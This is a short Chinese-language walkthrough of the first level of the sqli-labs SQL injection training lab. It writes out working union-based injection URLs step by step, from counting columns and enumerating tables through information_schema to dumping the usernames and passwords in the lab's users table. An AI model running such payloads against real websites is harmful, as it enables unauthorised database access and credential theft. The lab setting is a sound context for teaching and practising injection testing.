sqli - labs-1.

Less-1 GET-Error based-Single quotes-String

我们先在网址后面加上id=1

发现id可以显示

然后在后面加一个单引号，看是否存在注入

发现如果报错，那么存在注入

那么我们就可以用 order by语句逐步判断其表格有几列。最后我们发现表格有三列

http://192.168.167.32/sqli2/Less-1/?id=1' order by 3--+;

然后用判断其第几列有回显，这里注意id后面的数字要采用一个不存在的数字，比如-1 -100都可以我采用的是-1 如下

http://192.168.167.32/sqli2/Less-1/?id=-1' union select 1,2,3--+;

 然后发现2,3,列有回显就可以爆出数据库，列，以及用户和密码;

出数据库http://192.168.167.32/sqli/Less-1/?id=-1' union select 1,2,database()--+; 可以查看其数据库名字 

知道数据库名字以后可以查看数据库

http://192.168.167.32/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables--+;

 

爆列

http://192.168.167.32/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+;
 

 

爆出用户名和密码

http://192.168.167.32/sqli/Less-1/?id=-1'union select 1,2, group_concat(concat_ws('~',username,password)) from security.users--+; 

完成